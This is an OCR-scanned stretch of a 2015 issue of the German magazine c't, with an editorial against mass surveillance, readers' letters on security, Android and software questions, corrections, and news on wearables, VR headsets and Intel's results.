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Nutzlose Überwachung 


wieder einmal gab es mitten unter uns einen 
Anschlag auf die Meinungsfreiheit, und wieder 
einmal waren die Sicherheitsbehörden außer- 
stande, uns zu schützen. Dabei traf es keine 
unbekannten Personen: Die Redakteure des 
Charlie Hebdo waren schon länger im Visier von 
Islamisten und bekamen Polizeischutz — der 
leider nicht genügte. Auch alle anderen Sicher- 
heitsbehörden bis hin zu den Geheimdiensten 
wussten um die Gefahr für die Journalisten 

der Satirezeitung und waren doch nicht in der 
Lage, sie und ihr Recht auf freie Meinungs- 
äußerung zu schützen. Dabei kannten sie die 
Tatverdächtigen bereits. 


Was aber nützten uns Geheimdienste, die ihr 
Geld, ihre Zeit und das Personal auf die 
möglichst allumfassende Überwachung der gesamten 
Bevölkerung verschwenden? Namentlich bekannte, 
schon einmal verhaftete Terrorverdächtige ver- 
liert man dabei schon mal aus dem Auge, sodass 
diese in aller Seelenruhe einen Anschlag mit 
Kriegswaffen planen und durchführen können. 


Die auch von deutschen Politikern wieder einmal 
geforderte allumfassende Vorratsdatenspeicherung 
ist daher kontraproduktiv: Sie bindet nur noch 
mehr Personal und Geld, das dann für eine 
effektive Überwachung der Fälle mit begründetem 
Verdacht fehlt. Die Tatverdächtigen Cherif und 
Said Kouachi standen auf der No-Fly-Liste der 


USA und waren auch im Schengen-Raum zur 
verdeckten Beobachtung ausgeschrieben. Einer 
der Brüder wurde sogar zuvor beim Versuch 
verhaftet, nach Syrien auszureisen und sich 
dem Dschihad anzuschließen. Trotzdem waren die 
Geheimdienste und Behörden ahnungslos und 
konnten den Mord an den Redakteuren von Charlie 
Hebdo nicht verhindern. Genauso war es bei den 
Anschlägen vom 11. September 2001 in den USA 
und bei den NSU-Morden in Deutschland: Die Täter 
waren den Geheimdiensten schon vor den 
Attentaten bekannt. 


Liebe Schlapphüte, konzentriert euch gefälligst 
auf die einschlägig auffällig gewordenen Terror- 
verdächtigen und überwacht diese mit allen 
legalen technischen Mitteln und verfügbaren 
Kräften. Damit habt ihr mehr als genug zu tun. 
Schluss mit der sinnlosen Datensammelei als 
Selbstzweck. Den Toten nützt es nichts, wenn 

ihr nach einem Anschlag sagen könnt, ihr hättet 
die Täter schon auf einer Liste geführt. 


Charlie Mirko Dölle 
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Die Trends 2015 


Mit der Smartwatch und dem autonomen Auto ins Internet der Dinge: 
Die IT bringt uns 2015 einschneidende Neuerungen in digitalisiertem Alltag 
und vernetzter Produktion. Schon lange Angekündigtes wird endlich Realität; 


einiges weist weit in die Zukunft. 
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Zusammenstöpseln lassen 
sie sich so einfach wie 
Mehrfach-Steckdosen, 
doch funktionieren tun sie 
längst nicht so problemlos: 
USB-3.0-Hubs sind hoch 
komplexe Geräte. Einfache 
Aufgaben lösen sie zwar 
alle, gefährden dabei aber 
mitunter den PC. Fordert 
man sie, geschehen die 
seltsamsten Dinge. 
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Weissagung der Cree 


Computer zum Kuscheln, Die Wearables-Welle: 
Aktivitätstracker, Smartwatches, Datenbrillen und 


elektronische Kleidung, c't 3/15, S. 96 


Erst wenn die letzte Unterhose mit Wear- 
ables bestückt ist, werdet ihr merken, dass 
man Elektronik nicht waschen kann. 


Fritz Gröger 


Nach VDS-Zeichen schauen 


Schlossherr, Bluetooth-Türschloss 
kurz vorgestellt, c't 3/15, S. 51 


Ich bin bei dieser Technik sehr vorsichtig, 
denn wenn das Haus beziehungsweise die 
Wohnung „ausgeräumt“ wird und die Haus- 
ratversicherung dann keine Aufbruchspuren 
erkennt, bleibt der Eigentümer auf dem Scha- 
den sitzen. Bei sicherheitsrelevanten Produk- 
ten sollte man nach einem VDS-Zeichen 
schauen. Ähnliche Produkte wie Winkhaus 
BlueChip sind VDS-zugelassen. Bei uns in der 
Region ist es bei Dieben zur Zeit sehr beliebt, 
das Fernbedienungssignal des Garagentors 
zu scannen, um so ins Haus zu gelangen. Ich 
selbst habe auch so ein elektrisches Garagen- 
tor. Aber die Tür von Garage zum Wohnhaus 
wird immer verschlossen - ganz altmodisch. 


Ulrich Mersch 


Medizintechnik: teuer & schwierig 


Schneller, schärfer, besser, Wie IT die Medizin 
unterstützt, c't 3/15, 5.64 


Die Einlassungen im „Prothesen-Hack“ stel- 
len leider nur die Eisbergspitze dar. Die Me- 
dizintechnik wurde in ihrer Geschichte lau- 
fend mit innovativer Technik nachgerüstet. 
Der Fokus liegt auf Funktion und Zuverläs- 
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sigkeit, beschränkt auf das „Ökosystem“ Me- 
dizinprodukt. Die Medizinproduktgesetz- 
gebung, die europäisch harmonisiert ist, legt 
ihren Fokus auf einzuhaltende Normen. Eine 
Zulassung nach Funktions- und Sicherheits- 
prüfung findet nicht statt. Außer bei Implan- 
taten und körperverletzenden Geräten (zum 
Beispiel Röntgengeräte) verordnen sich Her- 
steller das CE-Zeichen quasi selbst. 

Meiner Erfahrung nach sind Hersteller 
aber überfordert, wenn Geräte mit IT- 
Schnittstellen ausgestattet werden und die 
gewonnenen Daten mit anderen IT-Syste- 
men teilen sollen. Die Applikationsebene be- 
kommen sie noch hin, aber andere Aspekte 
wie verschlüsselte Kommunikation oder Un- 
terstützung moderner und sicherer Betriebs- 
systeme stellen hohe Hürden dar. 

Dies ist auch der Medizinproduktgesetz- 
gebung geschuldet, da jede Änderung einer 
Software, die vom Hersteller als Medizinpro- 
dukt eingeordnet wird, hohen Aufwand 
durch erneute Konformitätserklärungen ver- 
ursacht. In meinem Betrieb (eine 300-Betten- 
Klinik) existieren Applikationen, die aus- 
schließlich unter Windows 2000 funktionie- 
ren. Updates dafür werden nicht entwickelt. 
70 Prozent der vernetzen Medizinprodukte 
laufen unter ungepatchtem Windows XP. 

Da medizinische Daten einer langen Auf- 
bewahrunggsfrist unterliegen, ist es mit einem 
Austausch der Applikation nicht getan. Mi- 
grationsprojekte verlangen daher schnell 6- 
stellige Summen. Hinzu kommt, dass trotz 
Kommunikationsstandards die meisten Her- 
steller proprietär arbeiten. 

Der Prothesenträger wird einen langen 
Atem brauchen, da dieser Fall wahrscheinlich 
zu langwierigen Diskussionen führen wird, 
ob der Hersteller sich überhaupt um die 
Bluetooth-Sicherheit kümmern muss. Im Jahr 
2015 liegt in diesem Fall eine objektive Pa- 
tientengefährdung vor. Ob dies die Medizin- 
rechtsjuristen auch so sehen, ist fraglich. 


Name der Redaktion bekannt 


IPTC mobil ausfüllen 


Foto to go, Zwölf Apps zur Bildbearbeitung 
mit Android, c’t 3/15, S. 118 


Besten Dank für die Aufarbeitung des Ange- 
bots an Android-Bildbearbeitungsprogram- 
men. Als Fotograf, der mit diesem Medium 
im Tagesgeschäft seine Brötchen verdient, 
bin ich traditionell bei Photo-Mechanic und 
den diversen Adobe-Shops, -Bridges und 
-Rooms zu Hause. Um in Ausnahmefällen 
auch mal über ein Tablet oder Smartphone 
Fotos auf die Server der Redaktionen schi- 
cken zu können, wäre jetzt ein möglicher 
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Workflow in greifbare Nähe gerückt, wenn 
denn das Problem mit der Verschlagwortung 
nicht noch dazwischen läge. Keine Redaktion 
akzeptiert Fotos ohne ausgefüllte Datei-Info 
(IPTC-Header). Ist Ihnen unter Android ein 
Programm bekannt, das dies anständig er- 
möglicht? 

Achim Zweygarth 


Die im Artikel getesteten Produkte können 
IPTC-Daten nicht schreiben, allerdings gibt es 
dafür die Android-App PressIPTC, erhältlich zu 
einem Preis von 10 Euro im Google Play Store 
für Android-Versionen ab 4.0. 


Probleme mit Audible umgehen 


Hörerwünsche, Apps und Geräte für Hörbücher, 


c't 3/15, 5.142 


Sie schreiben, dass Audible-Hörbücher nicht 
nach iTunes übertragen werden konnten. Bei 
mir klappt der Import, wenn ich mich bei Au- 
dible einlogge, die eigene Bibliothek aufrufe 
und den Download im Browser auslöse. Nach 
dem Download zeigt der Audible-Download- 
Manager an, dass die Bücher in iTunes impor- 
tiert wurden. Bei langen Büchern aktiviere ich 
die Option „Download in Teilen“, weil sehr 
lange Hörbücher nur dann auf den iPods bis 
zum Ende abgespielt werden. 


Hans-Joachim Bock 


ES-Datei-Explorer fehlerhaft 


Beschreiben verboten, Einschränkungen beim 
Zugriff auf SD-Karten unter Android 4.4 und 5.0, 
c't 3/15, S. 150 


Leider scheint die von Ihnen beschriebene 
Schreibfreigabe für eine „externe” SD-Karte 
mit dem ES-Datei-Explorer (Version 3.2.4.1) 
mit Android 5.0 (nicht gerootet) nicht zu 
funktionieren. Nachdem der Dateipicker auf- 
gerufen wurde und ich die externe SD-Karte 
gewählt habe, erscheint die Meldung „Doku- 
mente wurde beendet”. Die SD-Karte ist 
nach wie vor von ES nicht beschreibbar. Wis- 
sen Sie vielleicht noch einen Trick oder habe 
ich möglicherweise irgendeinen Schritt aus- 
gelassen? 

Thomas Heinke 


Mit dem Update auf die genannte Version tritt 
der Fehler auch bei uns auf. Da es bei der Vor- 
version noch klappte, hoffen wir auf eine Feh- 
lerbehebung im nächsten Update. 


Besser bei 4.4-Geräten bleiben 
Und schon bringen Sie einen ausführlichen 


Artikel über die neuen Android-Speicher- 
Probleme. Endlich Informationen - wenn 


c't 2015, Heft 4 


c't 2015, Heft 4 
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auch keine wirkliche Lösung, aber dafür kön- 
nen Sie ja nichts. Kein Wunder, dass die alten 
Geräte wie mein Note Il als nicht upgedate- 
tes Neugerät immer noch sehr teuer sind. 
Mal sehen, wann endlich Geräte kommen 
mit mehr internem Speicher. 


Reinhard Koch 


Beschweren bei Google 


Danke für den „hinweisenden” Artikel. Das 
Problem lösen kann man ja damit nicht. Sehr 
schön wäre es gewesen, wenn Sie noch eine 
E-Mail-Adresse angegeben hätten, bei der 
man sich beschweren kann. So setzt sich die 
Bevormundung, was ich mit meinem (An- 
droid-)Handy machen darf, immer noch wei- 
ter fort. 

Volker Heggemann 


Eine echte Beschwerdeadresse kennen wir bei 
Google nicht. Ein Weg wäre die Seite Android 
auf Google+ oder die Bugtracker- und Foren- 
Links, die wir Ihnen unter dem c’t-Link zusam- 
mengestellt haben. 


EE Bugtracker und Foren: ct.de/y5gp 


Django kann mehr 


Jazz fürs Web, Webentwicklung mit Python 
und Django, c't 3/15, S. 156 


Im Artikel heißt es: „Django verwendet den 
Begriff ‘App’ für Module, die zusammenge- 
hörige Datenbankmodelle, Views und Testss 
in einem Verzeichnis vereinen.” Das stimmt 
so nicht ganz und die Hinweise sind auch in 
den Django-Docs nicht leicht zu finden. Eine 
App muss keine Views oder Datenbankmo- 
delle enthalten und eine solche „leere“ App 
kann ein Projekt wesentlich übersichtlicher 
machen. 

Im einfachsten Fall besteht die Django- 
App nur aus einem Verzeichnis und einer lee- 
ren __init__.py-Datei. In ein solches Verzeich- 
nis, beispielsweise „common“, kann man nun 
Code legen, der von mehreren Apps genutzt 
wird. Dadurch lässt sich der Code des gesam- 
ten Projekts entflechten, weil es weniger Be- 
ziehungen zwischen den einzelnen Apps un- 
tereinander gibt. 

c't-Foren-User Juhn Icks 


LTE als WLAN-Ersatz? 


Dazwischenfunken, Wie LTE-Mobilfunk am 
5-GHz-Band teilhaben will, c't 3/14, S. 168 


Beim Lesen Ihres Artikels kam bei mir die 
Frage auf, ob die Verwendung von nicht li- 
zenzierten Frequenzen in Zukunft nicht auch 
private Heim-LTE-Funkzellen ermöglichen 
würde. Der große Durchsatz in Verbindung 
mit der hohen Reichweite wäre auch für 
Komponenten des Smart-Home interessant. 


Marc Gourjon 


Das 3GPP Study Item zu LAA sieht einen Zugriff 
auf unlizenziertes Spektrum nur im Zusam- 
menspiel mit einer Zelle auf lizenziertem Spek- 
trum vor: Carrier Aggregation mit der Primary 
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Cell auf lizenziertem Spektrum und einer Se- 
condary Cell auf unlizenziertem Spektrum. Ein 
autonomer Betrieb einer einzelnen LTE-Zelle 
auf unlizenziertem Spektrum ist im anstehen- 
den Rel-13 nicht vorgesehen. Nichtsdestotrotz 
könnte solch ein Szenario in der Zukunft inte- 
ressant werden. (Dr. Christian Hoymann) 


Lokales Speichern mit Tücken 


Was man nicht im Kopf hat, OneNote und 


Evernote im Vergleich, c't 2/15, 5.116 


Ein großes Hindernis bei Evernote scheint 
mir zu sein, dass die Web-App und Android 
nicht lokal speichern können. Nun habe ich 
einen Knowledge-Base-Artikel vom 5. De- 
zember 2014 gefunden, der darauf hindeu- 
tet, dass die Android-Version dies nun doch 
kann. Habe ich da was falsch verstanden 
oder hat sich die Welt inzwischen doch wie- 
der Mal zum Guten gewendet? 

Falls ja, ist meine Notizenlösung (nahezu) 
perfekt. Ich werde meine Notizen dann mit 
einem verschlüsselten Dropbox-Folder zwi- 
schen PC und Android Smartphone synchro- 
nisieren ... 

Chris Maibach 


Stimmt, Evernote für Android unterstützt mitt- 
lerweile ebenfalls Offline-Notizbücher, die voll- 
ständig auf dem Gerät oder der SD-Karte ge- 
speichert werden, allerdings nur für Premium- 
Abonnenten. Aber: Der genannte KB-Artikel be- 
zieht sich nicht auf Offline-Notizbücher, 
sondern lediglich auf den Offline-Cache, in 
dem nur ein paar zuletzt geöffnete Notizen 
komplett gehalten werden, sonst jedoch nur 
Metadaten. Und ein Weg, einen Dropbox-Ord- 
ner auf dem Mobilgerät als Speicher zu ver- 
wenden, ist uns nicht bekannt. Das würde ja 
auch dem Geschäftsmodell von Evernote wi- 
dersprechen. 


Backup für Samsung-Geräte 


Nie mehr Angst vor Datenverlust, System und 
Apps mit Helium, Titanium Backup Root und 


ClockworkMod Recovery sichern, c't 2/1 5, S.78 


Falls Sie ein Samsung-Smartphone haben, 
gibt es noch die Möglichkeit, das hauseigene 
Programm Samsung Kies zu nutzen. Damit 
können Sie ohne irgendeine mehr oder min- 
der vertrauenswürdige Cloud ihre komplet- 
ten Daten inklusive der Firmware sichern. 
Programm von der Homepage herunterla- 
den, Handy per USB anschließen und los 
geht es. Sie bestimmen selbst, was gesichert 
werden soll und was eventuell wegbleiben 
soll. Ein optisch ansprechender Fortschritts- 
balken veranschaulicht, was grade passiert; 
außerdem lassen sich einzeln Dateien auch 
direkt auf den PC übertragen. Kostet nichts 
und ist m. E. wirklich gut. 


Henning Stanislawski 


Einfache Backup-Lösung? 


Sie schreiben gleich im Untertitel Ihres Arti- 
kels: „Für Android gibt es einfache Lösun- 
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gen.” Was sich hinter dem Wort einfach in 
Wirklichkeit versteckt, sieht knapp zusam- 
mengefasst so aus: Entweder man benutzt 
das eingebaute Backup, was in der Tat ein- 
fach zu aktivieren ist, aber in der Praxis kaum 
Nutzwert hat, oder man installiert Chrome 
sowie ein Chrome-Plugin auf dem Desktop, 
aktiviert einen für Endanwender obskuren 
Debug-Modus, verbindet das Gerät über USB 
mit dem PC und schaltet bei jedem Neustart 
eine App frei. Das soll einfach sein? Dass ich 
nicht lache. Vielleicht relativ gesehen für 
Leute, die nur Android kennen. 

Einfach bedeutet für mich, in den Einstel- 
lungen einmalig das Backup zu aktivieren 
und dann später beim Zurückspielen das ge- 
wünschte Backup auszuwählen. Genau so 
funktioniert das unter iOS, und zwar schon 
seit Jahren. Mein neues iPhone 6 wurde z.B. 
von einem Backup initialisiert, welches auf 
ein Backup eines iPod touch aus dem Jahre 
2009 zurückgeht. Und zwar samt Apps und 
App-Einstellungen, Passwörtern für WLAN 
und Webseiten etc. 

Udo Thiel 


Ergänzungen & Berichtigungen 


Günstige Festplatte mit Shingled 
Magnetic Recording 


Seagate Archive HDD v2 8TB, c't 2/15, S. 21 


Die von Seagate für diese SMR-Platten emp- 
fohlene maximale Datentransfermenge von 
180 TByte pro Jahr beträgt knapp 0,5 TByte 
täglich - und nicht 2 TByte, wie versehentlich 
geschrieben. 


Server-Exot 


Mainboard MSI CSM-C222-089, c't 2/15, 5.42 


Anders als angegeben liefert Microsoft Up- 
dates für Windows Home Server 2011 noch 
bis April 2016. MSI hat außerdem die BIOS- 
Version 2.03 unter anderem mit Unterstüt- 
zung für Haswell-Refresh-Prozessoren bereit- 
gestellt. 


Schreiben und schützen 
Tastaturhüllen für iPad Air und Air 2, c't 3/15, S. 86 


Belkins Qode Ultimate Pro kostet nicht wie 
in der Tabelle angegeben 130, sondern 170 
Euro. Die korrekte Akkulaufzeit beträgt laut 
Hersteller „bis zu einem Jahr“ und umfasst 
Standby-Zeiten sowie die regelmäßige Nut- 
zung. 


Falsche Quelle 


Die 1-Liter-PCs, Kaufberatung für kompakte 
Desktop-PCs, c't 3/15, S.72 


Die Zotac ZBox CI540 Plus wurde nicht, wie 
in der Tabelle auf Seite 74 vermerkt, in Aus- 
gabe 20/14, sondern in c’t 19/14 auf Seite 56 
getestet. 


c't 2015, Heft 4 


© copyright by Heise Zeitschriften Verlag 


© copyright by Heise Zeitschriften Verlag 


c't | Schlagseite 


urn Ganam 


amazon. - 


no rt 
Ale a Sue) 
Kategorien 


Spielzeud 


Ihre Rezensionen 


jr 5 Stome 
ont geiappt. Dat LUNG Der nutschfest® 
e A 


soll. Aber ö inkludiert nicht im 


c't 2015, Heft 4 


© copyright by Heise Zeitschriften Verlag 


aktuell | Wearables 


Jan-Keno Janssen 


Wunder-Wearables 


Arzt im Armband, Spektrometer am Schlüsselbund 


Aktivitätstracker mit einfachen Beschleunigungssensoren sind out: 
Selbstvermessungs-Wearables müssen immer mehr können. 
Wir haben einen Blick auf ein vermeintliches Zauber-Armband und 
auf einen Spektralanalysator für die Hosentasche geworfen. 


D er Trend, sich Geräte umzuschnallen, um 
permanent seine Körperfunktionen zu 
messen, hält sich bereits seit einigen Jahren; 
Aktivitätstracker verkaufen sich gut. Nur: 
Technisch begeistern können die meisten 
Tracker nicht - sie sind kaum mehr als Schritt- 
zähler mit Bluetooth-Chip. 

Nachdem inzwischen gefühlt jeder Hard- 
ware-Hersteller solche aufgebohrten Pedo- 
meter im Angebot hat, müssen sich die Fir- 
men neue Funktionen überlegen, um sich von 
der Konkurrenz abzusetzen. Eingebaute Herz- 
frequenz-Sensoren etablieren sich langsam 
als Standard-Feature (Fitbit Charge HR, Basis 
Peak, Withings Pulse Ox, viele Android-Wear- 
Smartwatches); 2015 geht es noch deutlich 
weiter. Einer der kuriosesten angekündigten 
Aktivitätstracker soll das Kunststück vollbrin- 
gen, nur über Sensoren auf der Haut protokol- 
lieren zu können, was man isst - nicht nur die 
Kalorien, sondern sogar die Menge an Kohlen- 
hydraten, Fett und Protein. Andere Aktivitäts- 
tracker ermitteln lediglich den Kalorienver- 
brauch, die Kalorieneinnahme müssen die Be- 
nutzer umständlich manuell protokollieren. 

Als wir im März erstmals über das GoBe- 
Armband des russischen Unternehmens 
Healbe berichteten, reagierten nicht nur die 
heise-online-Leser skeptisch - anderswo war 
sogar von „Betrug“ die Rede, es ginge Healbe 
nur darum, Crowdfinancing-Geld abzustau- 
ben. Immerhin kam auf Indiegogo über eine 
Million US-Dollar zusammen. 

Auf der CES konnten wir das Gerät nun 
erstmals in die Hand nehmen. Die Hardware 
macht einen ordentlichen Eindruck, mit sei- 
nem fetten 170-Gramm-Gehäuse trägt das 


EG 


Armband allerdings ziemlich auf. Die zu- 
gehörige App wirkt professionell. Selbst 
ausprobieren konnten wir das GoBe nicht: Es 
dauere etwa einen Tag, bis sich der Algorith- 
mus an den Träger angepasst hat, erklärte 
uns Healbes Managing Director George Mi- 
kaberydze. Wir durften uns immerhin seine 
Daten in der App anschauen: Für jeden Tag 
wird in einem Zeitstrahl angezeigt, wann er 
Mahlzeiten zu sich genommen hat und wo- 
raus diese bestanden - unzuverlässig wird es 
nur bei Snacks unterhalb 100 Kilokalorien, 
meinte Mikaberydze. 


Voodoo-Algorithmen? 


Das Ganze funktioniert angeblich folgen- 
dermaßen: 10 bis 15 Minuten nach der 
Mahlzeit beginnt der Körper, die Nahrungs- 
mittel in Glukose umzuwandeln; dieser Pro- 
zess dauert fünf bis sechs Stunden. Sobald 
die Glukose-Konzentration steigt, absor- 
bieren die Zellen den Zucker und geben 
Wasser ab. Ein Impedanzsensor im GoBe- 
Armband misst die Flüssigkeitsveränderung 
im Gewebe - und ein streng geheimer 
Algorithmus („Flow Technology”) berechnet 
daraus die Nährstoffzufuhr. 

Die bislang einzige Studie zur Genauigkeit 
des Verfahrens - sie wurde von GoßBe selbst 
beim „St. Petersburg State Institute of Health, 
Medical and Sports Clinic“ in Auftrag gege- 
ben - kommt zu dem Ergebnis, dass das 
GoBe-Band die Kalorienzufuhr mit einer 
Genauigkeit von +15,6 Prozent und den Ka- 
lorienverbrauch mit einer Genauigkeit von 
+6,6 Prozent ermittelt. Allerdings: An der Stu- 


Auf einem 

per Bluetooth 
gekoppelten 
Mobilgerät 
kann man sich 
die von SCIO 
ermittelten 
Messwerte 
ansehen. 


Dick und schwer: 
Mit 170 Gramm 
ist das Healbe- 
GoBe-Armband 
alles andere als 
unaufällig. 
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Das Mini-Spektrometer von SCIO ist 
nur 20 Gramm schwer. 


die nahmen lediglich fünf Personen teil; alle 
weiblich. Die ersten GoBe-Geräte sollen noch 
in diesem Monat an die Crowdfinancing- 
Unterstützer verschickt werden. Direkt da- 
nach kommt das Zauberarmband dann offi- 
ziell in den USA auf den Markt. Angepeilter 
Verkaufspreis: 300 US-Dollar. 


Hosentaschen-Spektro 


Fast noch unglaublicher sind die Verspre- 
chungen von SCIO. Das israelische Unterneh- 
men will ein Mini-Spektrometer entwickelt 
haben, das in wenigen Sekunden nur durch 
Annäherung die Bestandteile von Lebens- 
mitteln oder Medikamenten ermittelt. Das 
20 Gramm leichte Gerät kann man bequem 
am Schlüsselbund tragen; es schickt die vom 
Nahinfrarot-Spektrometer ermittelten Roh- 
daten per Bluetooth 4.0 zu einem Mobilgerät 
und von dort zum Herstellerserver, wo sie 
dann analysiert werden. Auf der CES konnten 
wir uns anschauen, wie das in der Praxis aus- 
sieht: Der dort gezeigte Prototyp konnte 
zwar unterschiedliche Käsesorten anhand 
des Fett- und Proteingehalts unterscheiden 
- allerdings nur, wenn man in der SCIO-App 
zuvor manuell eingestellt hat, dass man Käse 
analysieren will. Wir bleiben skeptisch. 
Wann das fertige Produkt in den Handel 
kommt, ist noch unklar - der Preis steht mit 
200 US-Dollar aber bereits fest. (jkj) 


c't 2015, Heft 4 


Jan-Keno Janssen 


Mittendrin statt nur 3D 


2015 wird das Jahr der virtuellen Realität 


Virtual-Reality-Primus Oculus VR hat 
immer noch keine Consumer-Version 
seiner Rift-Brille angekündigt, doch 
dafür tauchen Dutzende andere 
Hersteller mit VR-Hardware auf. Unter 
anderem soll es bald auch eine Open- 
Source-Variante geben. 


Mi: die noch kein aktuelles Virtu- 
al-Reality-Gerät ausprobiert haben, sind 
höchstwahrscheinlich genervt vom Hype: 
„Das gab es doch alles schon in den Neunzi- 
gern! Und keiner wollte es am Ende kaufen!“ 
Wer sich schon einmal ein aktuelles VR- 
Headset um den Kopf geschnallt hat, erkennt 
jedoch schnell: Das ist die Zukunft der Unter- 
haltungselektronik. Erstmals erzeugen die 
VR-Headsets nämlich etwas, was bisher nie 
gelungen war: „Presence“ - also das Gefühl, 
wirklich an einem fremden Ort zu sein. Aus- 
getrickst wird das Gehirn vor allem durch das 
im Vergleich zu alten VR-Geräten deutlich 
größere Sichtfeld sowie das nahezu verzöge- 
rungsfreie Headtracking. 

Sehr anschaulich konnte man den aktuel- 
len Stand der VR-Technik auf der CES in Las 
Vegas begutachten. Oculus VR, die Firma, die 
den Hype vor zwei Jahren mit einem primär 
aus Klebeband bestehenden Prototypen 
ausgelöst hatte, zeigte dort in 20 Demo-Räu- 
men ihre neueste Rift-Brille. Im Vergleich 
zum DK2-Entwicklermodell trägt sich der 
deutlich leichtere „Crescent-Bay“-Prototyp 
nicht nur angenehmer, er funktioniert auch 
besser mit einer konventionellen Brille auf 
der Nase. Außerdem neu: eingebaute Kopf- 
hörer und 3D-Audio per Software. 


Der mit Infrarot-LEDs gespickte Crescent- 
Bay-Prototyp von Oculus beeindruckt mit 
nahezu perfektem Headtracking. 


c't 2015, Heft 4 


In den Demo-Räumen konnte man sich in 
einem abgesteckten Bereich frei bewegen - 
eine Oculus-Mitarbeiterin ermutigte uns sogar 
zum Hinlegen. Die neue Beweglichkeit ermög- 
lichen rings um das Headset montierte Infra- 
rot-LEDs, die von einer Kamera erfasst werden. 
Bei der DK2-Version fehlen die IR-LEDs am Hin- 
terkopf, weshalb man sich damit nicht umdre- 
hen kann, ohne dass das Tracking hakelt. 


Fliegender Sabber 


Die etwa 10 Minuten lange Demonstration 
führt durch mehrere, sehr unterschiedliche 
Szenen. Unter anderem wird man von einem 
furchteinflößenden Tyrannosaurus Rex ange- 
faucht (fliegende Sabbertropfen inklusive), 
balanciert auf einem Wolkenkratzer und wird 
Zeuge, wie ein Industrieroboter mit einer 
Gummiente kuschelt. Zum Abschluss schwebt 
man durch eine wilde Zeitlupen-Actionszene 
- Wahnsinn! Dass der neue Prototyp so beein- 
druckt, liegt nicht nur am nahezu perfekten 
Headtracking, sondern auch an der Bildquali- 
tät: Anders als bei der DK2-Version ist das 
Pixelraster deutlich weniger sichtbar. Oculus 
VR verrät nicht, was für ein Display eingebaut 
ist - es sei jedenfalls nicht der 2560 x 1440- 
OLED-Bildschirm aus Samsungs Galaxy 
Note 4, wie er in der Gear-VR-Brille verwendet 
wird, beteuerte Oculus-Mitgründer Nate Mit- 
chell gegenüber c't. In der Szene munkelt 
man, dass lediglich ein 1080p-Bildschirm ver- 
wendet wird, das nervige Fliegengitter hätten 
die Oculus-Entwickler über ein neues Linsen- 
system und verbesserte Software-Shader in 
den Griff bekommen. 

Maßgeblich zum Mittendrin-Gefühl trägt 
auch der neue, bereits ins SDK integrierte 
3D-Ton mit HRTF-Technik bei: Die Audioaus- 
gabe ändert sich entsprechend der Kopf- 
position. Das klappt bereits gut, auch wenn 
die Übergänge bei schnellen Bewegungen 
ein wenig abrupt klingen. 

Eine Consumer-Version seiner VR-Brille 
will Oculus nach eigenen Angaben erst auf 
den Markt bringen, wenn das Erlebnis „gut 
genug” ist - man wolle keinesfalls das gera- 
de erst wieder aufgeloderte Interesse an VR 
mit schlechter Technik ersticken. Ein Termin 
für die Consumer-Version kommuniziert das 
Unternehmen deshalb noch nicht. 

Die Konkurrenz ist da wesentlich lockerer. 
So verkauft die chinesische Firma AntVR ihr 
aus Headset und Controller bestehendes VR- 
Set bereits für 300 US-Dollar. Ein kurzer Test 
auf der CES zeigte: In Sachen Bildqualität 
kann die Brille einigermaßen mit der DK2- 
Version der Rift mithalten, das Headtracking 
ist dagegen deutlich schlechter. Auf Open- 
Source-Hard- und Software setzt das vom 
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aktuell | Virtual Reality 


Sieht seltsam aus, funktioniert aber gut: 
der Virtual-Reality-Laufstall Virtuix 
Omni 


Spiele-Peripherie-Hersteller Razer ins Leben 
gerufene OSVR-Projekt. Wir haben den ers- 
ten Prototypen ausprobiert, der auch Hand- 
tracking per Leap-Motion-Kamera beherrsch- 
te, unser Fazit: noch nicht überzeugend. 


Pupille verfolgen 


Spannender ist da der Ansatz des japani- 
schen Startups Fove: Die Bildqualität der 
Fove-Brille fällt zwar gegenüber der Rift-Mo- 
delle ab, dafür ist aber ein Infrarot-Augen- 
tracking-Sensor eingebaut. Theoretisch ließe 
sich der menschliche Sehapparat damit 
deutlich originalgetreuer nachbilden - etwa, 
indem die virtuelle Realität nur dort scharf 
ist, wo man gerade hinschaut. In der Praxis 
funktioniert das Fove-Augentracking mit 
einer Verzögerung von unter 20 Millisekun- 
den gut, die Software lief bei einem kurzen 
Test auf der CES jedoch noch nicht rund. 

Ein weiteres tief greifendes Problem von 
Virtual-Reality scheint zumindest gelöst: Mit 
dem Omni-Laufstall von Virtuix kann man 
sich erstmals in der VR zu Fuß fortbewegen. 
Dafür muss man zwar spezielle Schuhe mit 
glatten Metallsohlen tragen und das Auf-der- 
Stelle-Gehen in einer Kuhle erst ein paar Mi- 
nuten lang üben - danach hat man aber tat- 
sächlich das Gefühl, als würde man durch vir- 
tuelle Welten wandern. Das Faszinierendste 
daran: In einem halbstündigen Test auf der 
CES liefen wir komplett übelkeitsfrei durch 
einen VR-Ego-Shooter - mit konventionellen 
Steuermethoden gelingt das den meisten 
c't-Kollegen nicht. Der Laufstall soll noch in 
diesem Quartal für 500 US-Dollar in den Han- 
del kommen. (jkj) 


dE Weitere Bilder und Video: ct.de/yrep 
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aktuell | Prozessoren 


Andreas Stiller 


Prozessorgeflüster 


Von Currywürsten und Curie 


Während VW mit Rekorden bei den Currywürstchen aufwartet, brilliert Intel 
mit Rekordbilanzen. Dem Mobile-Sektor gehts zwar weiterhin schlecht, aber 
die kleinen Quarks, die PCs und vor allem die dicken Server holens raus. 


it 6,3 Millionen waren die VW-Curry- 

würsten die meistverkauften VW-Pro- 
dukte des letzten Jahres, noch vor dem Lupo 
(6,12 Millionen). Wie viele dieser Würste auf 
Exbundeskanzler Gerhard Schröder zurück- 
gehen, wurde nicht übermittelt. Auch wie 
der Jahresreingewinn von VW (inklusive der 
Würstchen) aussehen wird, weiß man derzeit 
noch nicht, 2013 lag er bei rund 3 Milliarden 
Euro. Diese Summe schafft Intel allein in 
einem Quartal, jedenfalls in dem jetzt bilan- 
zierten vierten Quartal 2014. Über vierzehn 
Jahre hat Intel gebraucht, um die 3,5 Milliar- 
den US-Dollar vom bisherigen Spitzenquartal 
im Jahre 2000 - ohne Berücksichtigung von 
Akquisitionen - zu übertrumpfen. Mit jetzt 
3,66 Milliarden Dollar bei 14,7 Milliarden Dol- 
lar Umsatz markiert Intel neue Rekordwerte 
- zumindest in Dollar. 

Internet of Things und Wearables, das ist 
ein neuer Schwerpunkt, den Intel auf der CES 
in den Vordergrund stellte. Dort präsentierte 
Intel-CEO Krzanich nun das Modul Curie, 
auch Quark SE genannt. Nur so groß wie ein 
Druckknopf, aber lauffähig mit Speicher, 6- 
Achsen-Sensor und Bluetooth LE. 

Rund 1,5 Milliarden Dollar hat Intel im letz- 
ten Jahr in Akquisitionen investiert, darunter 
fiel der Einkauf von LSI Axxia Networks und 
